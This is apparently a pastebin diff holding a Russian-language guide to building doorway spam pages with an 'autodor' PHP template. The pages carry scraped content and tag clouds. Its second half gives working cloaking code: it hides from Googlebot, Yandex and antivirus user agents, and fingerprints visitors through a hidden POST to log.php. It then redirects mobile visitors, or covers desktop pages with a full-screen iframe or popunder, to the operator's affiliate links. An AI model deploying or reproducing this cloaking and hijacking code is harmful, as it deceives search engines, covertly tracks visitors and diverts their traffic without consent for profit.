View difference between Paste ID: FExDiK1V and CXGA4pNw
SHOW: | | - or go back to the newest paste.
1-
 Первым делом прописать джиквери в шаблон хеадер, если он еще не прописан. Нужен для клоаки. <script src="//code.jquery.com/jquery.js"></script>
1+
 Первым делом прописать джиквери в шаблон хеадер, если он еще не прописан. Нужен для клоаки. 
2
<script src="//code.jquery.com/jquery.js"></script>
3
4
1. Тайтл страницы: <title><?php echo $bkey; ?> | Заголовок </title>
5
2. Дескрипшен страницы: <meta name="description" content="<?php echo $description; ?>">
6
3. Каноникал тег: <link rel="canonical" href="<?php echo $canonical; ?>" />
7
4. Хост (название домена, можно ставить в футер или в меню): <?php echo $host; ?>
8
5. Главный заголовок страницы (ключ): <h1><?php echo $bkey; ?></h1>
9
6. Собственно сам контент, напаршенный текст: <?php echo $content; ?>
10
7. Облако тегов, обычно идет сразу под контентом:
11
<!--noindex--><?php
12
if (@$_GET[$get_page] != '' AND $ufurl == '1') {
13
$arrtags = explode(' ', $key);
14
echo 'Tags: ';
15
foreach ($arrtags as $tags) {
16
echo '<a href="/tag/'.urlencode(UserFriendlyURLs(trim($tags))).'/">'.trim($tags).'</a>, ';
17
}
18
} elseif (@$_GET[$get_page] != '' AND $ufurl != '1') {
19
$arrtags = explode(' ', $key);
20
echo 'Tags: ';
21
foreach ($arrtags as $tags) {
22
echo '<a href="'.$script.'?'.$get_search.'='.urlencode(trim($tags)).'">'.trim($tags).'</a>, ';
23
}
24
} else {}
25
?><!--/noindex-->
26
8. Рандомный айфрем сайт, обычно идет под облаком тегов: <?php echo $iframe; ?>
27
9. Тематическое видео: <?php echo $video; ?>
28
10. Тематические фото: <?php echo $foto; ?>
29
11. Собстно меню: <?php echo $link; ?>
30
12. Рандомный текст пару предложений. Типа полезно. Вставлять можно куда угодно: <?php echo @$cnt[11]; ?>
31
13. Форма поиска:
32
<!--noindex--><form role="form" action="<?php echo $script; ?>" method="get">
33
<div class="input-group">
34
<input type="text" name="<?php echo $get_search; ?>" class="form-control">
35
<span class="input-group-btn">
36
<button type="submit" class="btn btn-default"><span class="glyphicon glyphicon-search"> найти</span></button>
37
</span>
38
</div>
39
</form><!--/noindex-->
40
41
14. В конец самый после шаблона - клоака:
42
<?php
43
$badbots1 = array('Googlebot','YandexBot','Java-Client','Antivirus','AhrefsBot','Baiduspider','bingbot','Mail.RU_Bot','MJ12bot','SemrushBot','Yahoo! Slurp','MSNBot');
44
$stopbot = '';
45
foreach ($badbots1 as $badbot) {
46
if (mb_stripos($browser, $badbot, 0, 'utf-8')!== false) {
47
$stopbot = '1';
48
}
49
}
50
if ($stopbot != '1') {
51
echo '<script type="text/javascript" src="/detect.js"></script>
52
<script type="text/javascript" src="/advertisement.js"></script>
53
<script type="text/javascript">
54
if (document.getElementById("AdBlockTester") != undefined) {var adb = "0";} else {var adb = "1";}
55
if (self != top){var iframe = "1";} else {var iframe = "0";}
56
</script>
57
<script type="text/javascript">
58
var marker = "'.$testmarker.'";
59
var method = "'.strip_tags($_SERVER['REQUEST_METHOD']).'";
60
var key = "'.$key.'";
61
$.post("/log.php", { iframe: iframe, marker: marker, adb: adb, method: method, referrer: document.referrer, key: key, title: document.title, url: location.href, language: navigator.language, cookietrue: navigator.cookieEnabled, width: screen.width, height: screen.height, widthdoc: $(window).width(), heightdoc: $(window).height(), browsername: detect.parse(navigator.userAgent).browser.name, osname: detect.parse(navigator.userAgent).os.name, device: detect.parse(navigator.userAgent).device.type, timezone: new Date().getTimezoneOffset()/60 },function(data){$("#msg").html(data);},"json");
62
</script>';
63
}
64
?>
65
66
На этом все. Момент насчет клоаки. Надо запомнить, что клоака будет работать исправно, если соблюдены следующие условия:
67
68
		1. В шаблоне дора (tpl.txt) в разделе header (в любом месте до тега body) подключена библиотека jquery. Это сделать легко, а именно вставляем строчку: <script src="//code.jquery.com/jquery.js"></script>
69
		2. В шаблоне дора (tpl.txt) есть кусок кода: <span id="msg"></span> он как раз отвечает за срабатывание клоаки. Вставляем его обычно сразу после body тега.
70
		Эти два условия уже выполнены в стандартном шаблоне автодора по умолчанию.
71
72
		3. В cloaking.php все разрулено-настроено правильно. 
73
74
75
Подробнее про третий пункт, клоаку. Вот базовый код того, что должно быть в файле cloaking.php:
76
77
<?php
78
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
79
echo json_encode('<script language="JavaScript">
80
window.location.href = "http://www.mobile-partnerka.com/tvoi_partnerskiy_kod"
81
</script>');
82
}
83
84
else {
85
echo json_encode('<iframe src="http://www.desktop-partnerka.com/tvoi_partnerskiy_kod"  style="z-index: 9999; position: fixed; left:0px; top: 0px;" scrolling="yes" width="100%" frameborder="0" height="'.$save_heightdoc.'"></iframe><style type="text/css">body {overflow:hidden;}</style>');
86
}
87
88
Здесь видно, что код поделен на две части. Первая часть отвечает за слив мобайла, вторая часть за слив десктоп трафика. Причем мобайл сливается просто редиректом по вашей партнерской ссылке мобильной партнерки ( http://www.mobile-partnerka.com/tvoi_partnerskiy_kod - заменить на свою ссылку). Десктоп не редиректит, а оставаясь на вашем же доре, показывает контент другой страницы по вашей партнерской ссылке (iframe) ( http://www.desktop-partnerka.com/tvoi_partnerskiy_kod - заменить на свою). 
89
Это базовый пример работы клоаки. 
90
91
Если нужно чтобы редиректило как мобайл так и десктоп (без iframe), то 
92
 
93
<?php
94
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
95
echo json_encode('<script language="JavaScript">
96
window.location.href = "http://www.mobile-partnerka.com/tvoi_partnerskiy_kod"
97
</script>');
98
}
99
100
else {
101
echo json_encode('<script language="JavaScript">window.location.href = "http://www.desktop-partnerka.com/tvoi_partnerskiy_kod"</script>');
102
}
103
104
Если нужно сливать ТОЛЬКО мобильный траф, а десктоп не трогать, то:
105
106
<?php
107
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
108
echo json_encode('<script language="JavaScript">
109
window.location.href = "http://www.mobile-partnerka.com/tvoi_partnerskiy_kod"
110
</script>');
111
}
112
113
Если нужно сливать ТОЛЬКО десктоп траф, а мобайл не трогать, то:
114
115
<?php
116
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
117
echo json_encode('');
118
}
119
120
else {
121
echo json_encode('<script language="JavaScript">window.location.href = "http://www.desktop-partnerka.com/tvoi_partnerskiy_kod"</script>');
122
}
123
124
А если к примеру нужно подключить какой нибудь хитрый попандер через клоаку? Или же есть на мобильных партнерках опция показа баннера на весь экран на вашем доре, без слива по ссылке.. В таком случае нужно просто вставить свой полученный код из партнерки (обычно это <script type="text/javascript" здесь что то есть></script>) в нужное место клоаки (в мобайл блок или десктоп блок) между верхними кавычками echo json_encode('тут'); вот так к примеру:
125
126
<?php
127
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
128
echo json_encode('<script type="text/javascript" здесь что то есть - код мобайл партнерки></script>');
129
}
130
131
else {
132
echo json_encode('<script type="text/javascript" здесь что то есть - код десктоп попандера></script> ');
133
}
134
135
136
И наконец, если нужно выполнять тоже самое что на мобайле что на десктопе, то дублируем нашу ссылку/код в блоках мобайла и десктопа:
137
138
<?php
139
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
140
echo json_encode('<script language="JavaScript">window.location.href = "http://www.universalnyaya-partnerka.com/tvoi_partnerskiy_kod"</script> ');
141
}
142
143
else {
144
echo json_encode('<script language="JavaScript">window.location.href = "http://www.universalnyaya-partnerka.com/tvoi_partnerskiy_kod"</script>');
145
}
146
147
148
Вот так работает клоака в автодоре.